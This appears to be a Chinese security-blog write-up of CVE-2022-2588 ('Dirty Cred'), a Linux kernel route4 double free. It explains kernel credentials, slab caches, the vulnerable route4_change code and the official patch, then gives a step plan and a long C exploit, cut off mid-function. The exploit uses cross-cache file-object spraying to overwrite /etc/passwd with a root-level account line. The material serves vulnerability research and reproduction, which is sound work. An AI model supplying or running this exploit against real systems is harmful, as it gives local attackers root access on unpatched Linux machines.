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[原创]CVE-2022-2588 Dirty Cred漏洞分析与复现
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2024-3-1 19:12 6895
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CVE-2022-2588 Dirty Cred
一、漏洞信息
1. 漏洞简述
- 漏洞名称：Dirty Cred
- 漏洞编号：CVE-2022-2588
- 漏洞类型：Double Free
- 漏洞影响：Linux 本地提权
- CVSS评分：7.8
- 基础权限：需要
2. 组件概述
漏洞函数是 route4_change()，用于初始化和替换 route4_filter 对象。使用 handle 作为id来区分不同的 route4_filter，如果存在某个 handle 之前已被初始化过（fold 变量非空），就会移除旧的 filter，添加新的 filter；否则直接添加新的 filter。
3. 漏洞利用
由于将 route4_filter 对象从链表中删除和释放时的检查条件不一致，导致该对象被释放后仍存于链表中，后面可以触发 Double Free，本地攻击者利用该漏洞会导致系统崩溃，可能会造成本地特权升级问题。
4. 漏洞影响
影响Linux Kernel版本：
- Linux Kernel版本 >= 2.6.12
- Linux Kernel版本 <= 5.19.1
5. 解决方案
二、环境搭建
安装 Kernel：
1 2 3 4 5 | wget <https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.19.1.tar.xz>tar -xvf linux-5.19.1.tar.xzmake menuconfigmake x86_64_defconfigmake bzImage -j32 |
- 怕麻烦的可以在bsauce大佬的仓库去取：https://github.com/bsauce/kernel-exploit-factory/tree/main/CVE-2022-2588
编译选项：
- CONFIG_BINFMT_MISC=y （否则启动VM时报错）
- CONFIG_USER_NS=y （触发漏洞需要 User Namespace）
- CONFIG_NET_CLS_ROUTE4=y （漏洞函数所在的模块）
- CONFIG_DUMMY=y CONFIG_NET_SCH_QFQ=y （breezeO_o 提供的两个编译选项，触发 poc 需要用到）
- CONFIG_NET_CLS_ACT=y / CONFIG_NET_CLS_BASIC=y （默认已开启）
- CONFIG_NET_SCH_SFQ=y （exploit 中触发漏洞需用到 sfq 随机公平队列）
- CONFIG_NET_EMATCH_META=y （exploit 中堆喷对象时需要用到）
三、漏洞分析
1.前置知识
内核凭证 Credential
Kernel 凭证是 kernel 文档中定义的 kernel 中携带特权信息的特征，表示权限和对应的能力，主要分为：
- task 凭证（
struct cred）：其中存放了一个 task 的权限信息，例如 GID、UID 等等。如果能任意修改一个低权限进程的 cred 结构体，那么我们就可以将该进程提权至高权限（例如 root）
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | struct cred { atomic_t usage;#ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic;#define CRED_MAGIC 0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */#ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */#endif#ifdef CONFIG_SECURITY void *security; /* subjective LSM security */#endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ /* RCU deletion */ union { int non_rcu; /* Can we skip RCU deletion? */ struct rcu_head rcu; /* RCU deletion hook */ };} __randomize_layout; |
- open file 凭证（
struct file）：存放一个文件的部分权限信息，例如 read & write 权限等。如果一个低权限用户可以任意修改高权限文件（例如/etc/passwd），那么同样也能造成提权的目的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | struct file { union { struct llist_node fu_llist; struct rcu_head fu_rcuhead; } f_u; struct path f_path; struct inode *f_inode; /* cached value */ const struct file_operations *f_op; /* * Protects f_ep_links, f_flags. * Must not be taken from IRQ context. */ spinlock_t f_lock; enum rw_hint f_write_hint; atomic_long_t f_count; unsigned int f_flags; fmode_t f_mode; struct mutex f_pos_lock; loff_t f_pos; struct fown_struct f_owner; const struct cred *f_cred; struct file_ra_state f_ra; u64 f_version;#ifdef CONFIG_SECURITY void *f_security;#endif /* needed for tty driver, and maybe others */ void *private_data;#ifdef CONFIG_EPOLL /* Used by fs/eventpoll.c to link all the hooks to this file */ struct list_head f_ep_links; struct list_head f_tfile_llink;#endif /* #ifdef CONFIG_EPOLL */ struct address_space *f_mapping; errseq_t f_wb_err; errseq_t f_sb_err; /* for syncfs */} __randomize_layout __attribute__((aligned(4))); /* lest something weird decides that 2 is OK */struct file_handle { __u32 handle_bytes; int handle_type; /* file identifier */ unsigned char f_handle[];}; |
Slab 的两种内存缓存
众所周知，Linux 内核主要使用 slab 分配器来进行内存分配，slab 分配器中主要维护了两种内存缓存（即可以理解成两套作用不同的内存分配方式）：
dedicated cache(专用缓存)：这里的内存是用于分配给内核中的常用对象，在该缓存中被分配的结构体将始终保持初始化状态，以便于提高分配速度generic cache(通用缓存)：通用缓存，大多数情况下其内存块的大小与 2 的幂次方对齐
这类 cred 和 file 结构体等 credential 对象都是在 dedicated cache 中分配，而大多数内存漏洞发生的地方都是在 generic cache 中
使用 sudo cat /proc/slabinfo 可以查看 slab 分配器的具体信息
generic cache：在名称中带有kmallocdedicated cache：拥有特殊的名字
2.漏洞与利用
漏洞点
- 将
route4_filter对象从链表中删除和释放时的检查条件不一致 - 导致该对象被释放后仍存于链表中
大致步骤：
- 释放存在漏洞的非特权凭据
- 在释放的内存插槽中分配特权凭据
- 以特权用户身份操作
具体步骤：（本例是采用 file 对象完成利用，也可以采用 cred 对象）
- 打开可写的文件
/tmp/x，就会分配可写的file对象，在通过写许可检查之后后，进行实际写操作之前暂停 - 利用漏洞释放该
file对象 - 打开只读文件
/etc/passwd，就会分配新的file对象，占据旧的file对象，继续写入就能往只读文件写入内容（例如写入hacker:x:0:0:root:/:/bin/sh就能提权）
3.需要解决的问题
- 如何将内存破坏漏洞，转换为能够置换
file object的原语 - 如何延长文件的检查文件写权限 - 实际写入数据的竞争窗口
- 如何创建高权限的
file object，来置换先前被释放的低权限file object
4.对应的解决措施
1.置换内核凭证
一般就是如下三种方式：
- Out Of Bound Write：尝试越界写入下一个结构体的凭证字段，将其替换为高权限的凭证（例如：
request_key_auth->cred） - Use After Free：使用高权限的凭证来“占据”低权限的凭证
- Double Free：最终可以达到两个指针共同指向一个凭证的效果
2.延长竞争窗口
由于 credential 的替换需要一些时间，因此如果能延长这个竞争窗口，那就能非常成功的进行漏洞利用，其中 Userfaultfd 和 FUSE，这两种机制都允许用户无限延长竞争窗口
- Userfaultfd：在多线程程序中，
userfaultfd允许一个线程管理其他线程所产生的Page Fault事件，当某个线程触发了Page Fault，该线程将立即睡眠，而其他线程则可以通过userfaultfd来读取出这个Page Fault事件，并进行处理 - FUSE：一个用户层文件系统框架，允许用户实现自己的文件系统，用户可以在该框架中注册
handler，来指定应对文件操作请求（可以在实际操作文件之前，执行handler暂停内核执行，尽可能地延长窗口） - File Lock：使用锁定暂停内核执行
3.分配特权对象
由于 Dirty Cred 十分需要控制 privilege credential 对象的分配时机，控制该对象的分配成为了一个关键点
用户层中：
- 大量执行
Set-UID程序（例如sudo），或者频繁创建特权级守护进程（例如sshd），从而创建privilege cred结构体 - 使用 ReadOnly 方式来打开诸如
/etc/passwd等特权文件
内核层中，当内核创建新的 kernel thread 时，当前 kernel thread 将会被复制，这时其 privileged cred 结构体也会被拷贝一份
有两种方法可以做到这点：
- 往
kernel workqueue中填充大量任务，动态创建新的kernel thread来执行任务。 - 调用
usermode helper（一种允许内核创建用户模式进程的机制），一种最常见的应用场所是加载内核模块至内核空间中。
5.静态分析
route4_filter对象：（大小为“144”，属于kmalloc-192）
1 2 3 4 5 6 7 8 9 10 11 12 | struct route4_filter { struct route4_filter __rcu *next; u32 id; int iif; struct tcf_result res; struct tcf_exts exts; u32 handle; struct route4_bucket *bkt; struct tcf_proto *tp; struct rcu_work rwork;}; |
tcf_exts对象的tc_action条目：（包含32个tc_action对象指针，属于kmalloc-256）
1 2 3 4 5 6 7 8 9 10 11 12 13 | struct tcf_exts {#ifdef CONFIG_NET_CLS_ACT __u32 type; /* for backward compat(TCA_OLD_COMPAT) */ int nr_actions; struct tc_action **actions; struct net *net;#endif /* Map to export classifier specific extension TLV types to the * generic extensions API. Unsupported extensions must be set to 0. */ int action; int police;}; |
- 有漏洞的代码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 | static int route4_change(struct net *net, struct sk_buff *in_skb, struct tcf_proto *tp, unsigned long base, u32 handle, struct nlattr **tca, void **arg, bool ovr, bool rtnl_held, struct netlink_ext_ack *extack){ struct route4_head *head = rtnl_dereference(tp->root); struct route4_filter __rcu **fp; struct route4_filter *fold, *f1, *pfp, *f = NULL; struct route4_bucket *b; struct nlattr *opt = tca[TCA_OPTIONS]; struct nlattr *tb[TCA_ROUTE4_MAX + 1]; unsigned int h, th; int err; bool new = true; if (opt == NULL) return handle ? -EINVAL : 0; err = nla_parse_nested_deprecated(tb, TCA_ROUTE4_MAX, opt, route4_policy, NULL); if (err < 0) return err; fold = *arg; /* 现有的route4_filter对象 */ if (fold && handle && fold->handle != handle) return -EINVAL; err = -ENOBUFS; f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); /* 分配新的route4_filter对象 */ if (!f) goto errout; err = tcf_exts_init(&f->exts, net, TCA_ROUTE4_ACT, TCA_ROUTE4_POLICE); /* 进行初始化,为route4_filter->exts.action分配256字节的空间 */ if (err < 0) goto errout; if (fold) { /* 把旧的route4_filter对象中的数据填入新的route4_filter对象 */ f->id = fold->id; f->iif = fold->iif; f->res = fold->res; f->handle = fold->handle; f->tp = fold->tp; f->bkt = fold->bkt; new = false; } err = route4_set_parms(net, tp, base, f, handle, head, tb, tca[TCA_RATE], new, ovr, extack); /* 初始化new filter */ if (err < 0) goto errout; /* 将new filter插入到list */ h = from_hash(f->handle >> 16); fp = &f->bkt->ht[h]; for (pfp = rtnl_dereference(*fp); (f1 = rtnl_dereference(*fp)) != NULL; fp = &f1->next) if (f->handle < f1->handle) break; tcf_block_netif_keep_dst(tp->chain->block); rcu_assign_pointer(f->next, f1); rcu_assign_pointer(*fp, f); /* 若存在old filter,old handle不为"0",old new handle不同,则从list中移除 */ if (fold && fold->handle && f->handle != fold->handle) { th = to_hash(fold->handle); h = from_hash(fold->handle >> 16); b = rtnl_dereference(head->table[th]); if (b) { fp = &b->ht[h]; /* ht存放的是route4_filter列表 */ for (pfp = rtnl_dereference(*fp); pfp; fp = &pfp->next, pfp = rtnl_dereference(*fp)) { if (pfp == fold) { rcu_assign_pointer(*fp, fold->next); /* 从链表中删除 */ break; } } } } route4_reset_fastmap(head); *arg = f; if (fold) { /* 若存在old filter,释放old filter */ tcf_unbind_filter(tp, &fold->res); tcf_exts_get_net(&fold->exts); tcf_queue_work(&fold->rwork, route4_delete_filter_work); /* 启动内核任务,调用route4_delete_filter_work释放old filter */ } return 0;errout: if (f) tcf_exts_destroy(&f->exts); kfree(f); return err;} |
- 使用
handle作为 ID 来区分不同的route4_filter - 如果存在某个
handle之前已被初始化过（fold变量非空），就会移除旧的filter，添加新的filter - 否则直接添加新的
filter
这里可以发现，将 route4_filter 对象从链表中删除和释放时的检查条件不一致：
- 从链表中删除的条件：
- 存在
old filter old handle不为 “0”old new handle不同
- 存在
- 从链表中释放的条件：
- 存在
old filter
- 存在
如果 old handle == 0，则不会在链表中删除但是会被释放，这就导致了一个 UAF
6.利用思路
cross-cache：我们将释放某个 kmalloc-256 cache page，将该页归还给页管理器，然后分配 file 结构来复用该页（filp cache）
- 分配一堆
kmalloc-256堆块，包含漏洞对象 - 利用漏洞第1次释放漏洞对象，并释放一堆
kmalloc-256，以归还漏洞对象所在的页 - 分配大量低权限
file对象来占据漏洞对象（cross-cache attack） - 利用漏洞第2次释放漏洞对象（低权限
file对象被释放） - 堆喷高权限
file对象来替换低权限file对象 - 利用 UAF 控制高权限
file对象
7.官方补丁
1 2 3 4 5 6 7 8 9 10 11 12 13 | diff --git a/net/sched/cls_route.c b/net/sched/cls_route.cindex a35ab8c27866e..3f935cbbaff66 100644--- a/net/sched/cls_route.c+++ b/net/sched/cls_route.c@@ -526,7 +526,7 @@ static int route4_change(struct net *net, struct sk_buff *in_skb, rcu_assign_pointer(f->next, f1); rcu_assign_pointer(*fp, f);- if (fold && fold->handle && f->handle != fold->handle) {+ if (fold) { th = to_hash(fold->handle); h = from_hash(fold->handle >> 16); b = rtnl_dereference(head->table[th]); |
四、漏洞复现
借用其他师傅的表
| 进程1 | 进程2 |
|---|---|
| 0. 绑定到 CPU 0 上运行，设置子进程内存、工作目录、Namespace，启动进程2 | |
| 1. 去碎片化，打开10000个文件，消耗 filp cache，为 cross-cache 作准备 | |
| 2. 喷射 (middle+3)*32 kmalloc-192 & kmalloc-256（和漏洞对象位于同一cache，便于进行 cross-cache 被 file 对象复用） | |
| 3. 分配1个 route4_filter 漏洞对象，还有1个kmalloc-256 的漏洞对象 | |
| 4. 再喷射 (end-middle-2)*32 kmalloc-192 & kmalloc-256 | |
| 5. 释放 (end-24)*32 kmalloc-192 & kmalloc-256 | |
| 6. 第1次释放漏洞对象 kmalloc-192 & kmalloc-256 | |
| 7. 释放 (end-middle+1) kmalloc-192 & kmalloc-256（避免连续释放同一对象，触发内核 double-free 的检测） | |
| 8. 喷射 4000 个低权限 file 对象（通过打开 exp_dir/data 文件） | |
| 9. 第2次释放漏洞对象 kmalloc-192 & kmalloc-256 | |
| 10. 喷射 5000 个低权限 file 对象，采用 kcmp 调用检查是否和前 4000 个 file 重合，重合的两个 file 记为 overlap_a / overlap_b | |
| 11. 发起3个利用线程，线程1写入大量数据来占用文件锁，线程2往 overlap_a 写入恶意数据 | |
| 12. 线程3关闭 overlap_a / overlap_b，喷射 4096*2 个高权限 file 对象（通过打开 /etc/passwd 文件），未区分CPU | |
| 13. 最后检查 /etc/passwd 文件是否被写入恶意数据 |
对应 exp 如下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 | // $ gcc -static -pthread -O0 ./exploit.c -o ./exploit#define _GNU_SOURCE#include <arpa/inet.h>#include <assert.h>#include <dirent.h>#include <endian.h>#include <errno.h>#include <fcntl.h>#include <net/if.h>#include <net/if_arp.h>#include <netinet/in.h>#include <sched.h>#include <signal.h>#include <stdarg.h>#include <stdbool.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/epoll.h>#include <sys/ioctl.h>#include <sys/ipc.h>#include <sys/mount.h>#include <sys/msg.h>#include <sys/syscall.h>#include <sys/time.h>#include <sys/types.h>#include <sys/uio.h>#include <sys/wait.h>#include <time.h>#include <unistd.h>#include <sys/shm.h>#include <sys/stat.h>#include <sys/timerfd.h>#include <linux/tc_ematch/tc_em_meta.h>#include <sys/resource.h>#include <linux/capability.h>#include <linux/futex.h>#include <linux/genetlink.h>#include <linux/if_addr.h>#include <linux/if_ether.h>#include <linux/if_link.h>#include <linux/if_tun.h>#include <linux/in6.h>#include <linux/ip.h>#include <linux/kcmp.h>#include <linux/neighbour.h>#include <linux/net.h>#include <linux/netlink.h>#include <linux/pkt_cls.h>#include <linux/pkt_sched.h>#include <linux/rtnetlink.h>#include <linux/tcp.h>#include <linux/veth.h>#include <x86intrin.h>#include <err.h>#include <fcntl.h>#include <poll.h>#include <pthread.h>#include <sys/mman.h>#include <sys/utsname.h>char* target = "/etc/passwd"; // overwrite the target filechar* overwrite = "hi:x:0:0:root:/:/bin/sh\\\\n"; // "user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash\\\\n"char* global;char* self_path;char* content; // evil data + existing data in the target file#define PAGE_SIZE 0x1000#define MAX_FILE_NUM 0x8000int fds[MAX_FILE_NUM] = {};int fd_2[MAX_FILE_NUM] = {};int overlap_a = -1; // unprivileged `file`int overlap_b = -1; // privileged `file`int cpu_cores = 0; // num of cpu coresint sockfd = -1;int spray_num_1 = 2000; // 4000int spray_num_2 = 4000; // 5000int pipe_main[2]; // notify process to excecute using pipeint pipe_parent[2];int pipe_child[2];int pipe_defrag[2];int pipe_file_spray[2][2];int run_write = 0; // let thread 2 begin to write evil dataint run_spray = 0; // let thread 3 begin to spray privileged `file`bool overlapped = false;void print_hex(char* buf, int size) { int i; puts("======================================"); printf("data :\\\\n"); for (i = 0; i < (size / 8); i++) { if (i % 2 == 0) { printf("%d", i / 2); } printf(" %16llx", *(size_t*)(buf + i * 8)); if (i % 2 == 1) { printf("\\\\n"); } } puts("======================================");}// set cpu affinityvoid pin_on_cpu(int cpu) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(cpu, &cpu_set); if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) { perror("sched_setaffinity()"); exit(EXIT_FAILURE); }}static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true;}// setup working dirstatic void use_temporary_dir(void) { system("rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data"); system("touch exp_dir/data2"); char* tmpdir = "exp_dir"; if (!tmpdir) exit(1); if (chmod(tmpdir, 0777)) exit(1); if (chdir(tmpdir)) exit(1); symlink("./data", "./uaf");}// setup process memorystatic void adjust_rlimit() { struct rlimit rlim; rlim.rlim_cur = rlim.rlim_max = (200 << 20); setrlimit(RLIMIT_AS, &rlim); rlim.rlim_cur = rlim.rlim_max = 32 << 20; setrlimit(RLIMIT_MEMLOCK, &rlim); rlim.rlim_cur = rlim.rlim_max = 136 << 20; // setrlimit(RLIMIT_FSIZE, &rlim); rlim.rlim_cur = rlim.rlim_max = 1 << 20; setrlimit(RLIMIT_STACK, &rlim); rlim.rlim_cur = rlim.rlim_max = 0; setrlimit(RLIMIT_CORE, &rlim); // RLIMIT_FILE rlim.rlim_cur = rlim.rlim_max = 14096; if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) { // RLIMIT_NOFILE 最大打开文件描述符限制，默认为 1024, 需设置为 14096, 便于喷射 `file` 结构 rlim.rlim_cur = rlim.rlim_max = 4096; spray_num_1 = 1200; spray_num_2 = 2800; if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) { perror("[-] setrlimit"); err(1, "[-] setrlimit"); } }}void setup_namespace() { int real_uid = getuid(); int real_gid = getgid(); if (unshare(CLONE_NEWUSER) != 0) { perror("[-] unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { perror("[-] unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/setgroups", "deny")) { perror("[-] write_file(/proc/self/set_groups)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/uid_map", "0 %d 1\\\\n", real_uid)) { perror("[-] write_file(/proc/self/uid_map)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/gid_map", "0 %d 1\\\\n", real_gid)) { perror("[-] write_file(/proc/self/gid_map)"); exit(EXIT_FAILURE); }}// set up process memory / working dir / namespacevoid pre_exploit() { adjust_rlimit(); use_temporary_dir(); setup_namespace();}#define NLMSG_TAIL(nmsg) \\\\ ((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))// add attributeint addattr(char* attr, int type, void* data, int len) { struct rtattr* rta = (struct rtattr*)attr; rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); if (len) memcpy(RTA_DATA(attr), data, len); return RTA_LENGTH(len);}// add attribute (maxlen limitation)int addattr_l(struct nlmsghdr* n, int maxlen, int type, const void* data, int alen) { int len = RTA_LENGTH(alen); struct rtattr* rta; if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) { fprintf(stderr, "addattr_l ERROR: message exceeded bound of %d\\\\n", maxlen); return -1; } rta = NLMSG_TAIL(n); rta->rta_type = type; rta->rta_len = len; if (alen) memcpy(RTA_DATA(rta), data, alen); n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); return 0;}struct rtattr* addattr_nest(struct nlmsghdr* n, int maxlen, int type) { struct rtattr* nest = NLMSG_TAIL(n); addattr_l(n, maxlen, type, NULL, 0); return nest;}int addattr_nest_end(struct nlmsghdr* n, struct rtattr* nest) { nest->rta_len = (void*)NLMSG_TAIL(n) - (void*)nest; return n->nlmsg_len;}// add_qdisc() —— setup the socketint add_qdisc(int fd) { char* start = malloc(0x1000); memset(start, 0, 0x1000); struct nlmsghdr* msg = (struct nlmsghdr*)start; // new qdisc nlmsghdr + tcmsg msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE; msg->nlmsg_type = RTM_NEWQDISC; struct tcmsg* t = (struct tcmsg*)(start + sizeof(struct nlmsghdr)); // set local t->tcm_ifindex = 1; t->tcm_family = AF_UNSPEC; t->tcm_parent = TC_H_ROOT; // prio, protocol u_int32_t prio = 1; u_int32_t protocol = 1; t->tcm_info = TC_H_MAKE(prio << 16, protocol); addattr_l(msg, 0x1000, TCA_KIND, "sfq", 4); // sfq is not defaully configured, only qfq is configured // print_hex(msg, msg->nlmsg_len); struct iovec iov = { .iov_base = msg, .iov_len = msg->nlmsg_len }; struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; struct msghdr msgh = { .msg_name = &nladdr, .msg_namelen = sizeof(nladdr), .msg_iov = &iov, .msg_iovlen = 1, }; return sendmsg(fd, &msgh, 0);}// spray 1 vulnerable object (filter) with customized flagsint add_tc_(int fd, u_int32_t from, u_int32_t to, u_int32_t handle, u_int16_t flags) { char* start = malloc(0x2000); memset(start, 0, 0x2000); struct nlmsghdr* msg = (struct nlmsghdr*)start; // new filter msg = msg + msg->nlmsg_len; msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); msg->nlmsg_flags = NLM_F_REQUEST | flags; msg->nlmsg_type = RTM_NEWTFILTER; // RTM_NEWTFILTER struct tcmsg* t = (struct tcmsg*)(start + sizeof(struct nlmsghdr)); // prio, protocol u_int32_t prio = 1; u_int32_t protocol = 1; t->tcm_info = TC_H_MAKE(prio << 16, protocol); t->tcm_ifindex = 1; t->tcm_family = AF_UNSPEC; t->tcm_handle = handle; addattr_l(msg, 0x1000, TCA_KIND, "route", 6); struct rtattr* tail = addattr_nest(msg, 0x1000, TCA_OPTIONS); addattr_l(msg, 0x1000, TCA_ROUTE4_FROM, &from, 4); // TCA_ROUTE4_FROM addattr_l(msg, 0x1000, TCA_ROUTE4_TO, &to, 4); // TCA_ROUTE4_TO addattr_nest_end(msg, tail); // packing struct iovec iov = { .iov_base = msg, .iov_len = msg->nlmsg_len }; struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; struct msghdr msgh = { .msg_name = &nladdr, .msg_namelen = sizeof(nladdr), .msg_iov = &iov, .msg_iovlen = 1, }; sendmsg(fd, &msgh, 0); free(start); return 1;}void add_tc(int sockfd, uint32_t handle, uint16_t flag) { add_tc_(sockfd, 0, handle, (handle << 8) + handle, flag);}uint32_t calc_handle(uint32_t from, uint32_t to) { uint32_t handle = to; assert(from <= 0xff && to <= 0xff); handle |= from << 16; if (((handle & 0x7f00) | handle) != handle) return 0; if (handle == 0 || (handle & 0x8000)) return 0; return handle;}void* delete_tc_(int sockfd, u_int32_t handle) { char* start = malloc(0x4000); memset(start, 0, 0x4000); struct nlmsghdr* msg = (struct nlmsghdr*)start; // delete filter msg = msg + msg->nlmsg_len; msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_ECHO; msg->nlmsg_type = RTM_DELTFILTER; // RTM_DELTFILTER struct tcmsg* t = (struct tcmsg*)(start + sizeof(struct nlmsghdr)); // prio, protocol u_int32_t prio = 1; u_int32_t protocol = 1; t->tcm_info = TC_H_MAKE(prio << 16, protocol); t->tcm_ifindex = 1; t->tcm_family = AF_UNSPEC; t->tcm_handle = handle; addattr_l(msg, 0x1000, TCA_KIND, "route", 6); struct rtattr* tail = addattr_nest(msg, 0x1000, TCA_OPTIONS); addattr_nest_end(msg, tail); // packing struct iovec iov = { .iov_base = msg, .iov_len = msg->nlmsg_len }; struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; struct msghdr msgh = { .msg_name = &nladdr, .msg_namelen = sizeof(nladdr), .msg_iov = &iov, .msg_iovlen = 1, }; sendmsg(sockfd, &msgh, 0); memset(start, 0, 0x4000); iov.iov_len = 0x4000; iov.iov_base = start; recvmsg(sockfd, &msgh, 0); if (msgh.msg_namelen != sizeof(nladdr)) printf("[-] size of sender address is wrong\\\\n"); return start;}void delete_tc(int sockfd, uint32_t handle) { delete_tc_(sockfd, ((handle) << 8) + (handle));}// spray spray_count objects ???int add_tc_basic(int fd, uint32_t handle, void* spray_data, size_t spray_len, int spray_count) { assert(spray_len * spray_count < 0x3000); char* start = malloc(0x4000); memset(start, 0, 0x4000); struct nlmsghdr* msg = (struct nlmsghdr*)start; // new filter nlmsghdr + tcmsg msg = msg + msg->nlmsg_len; msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; // | flags; msg->nlmsg_type = 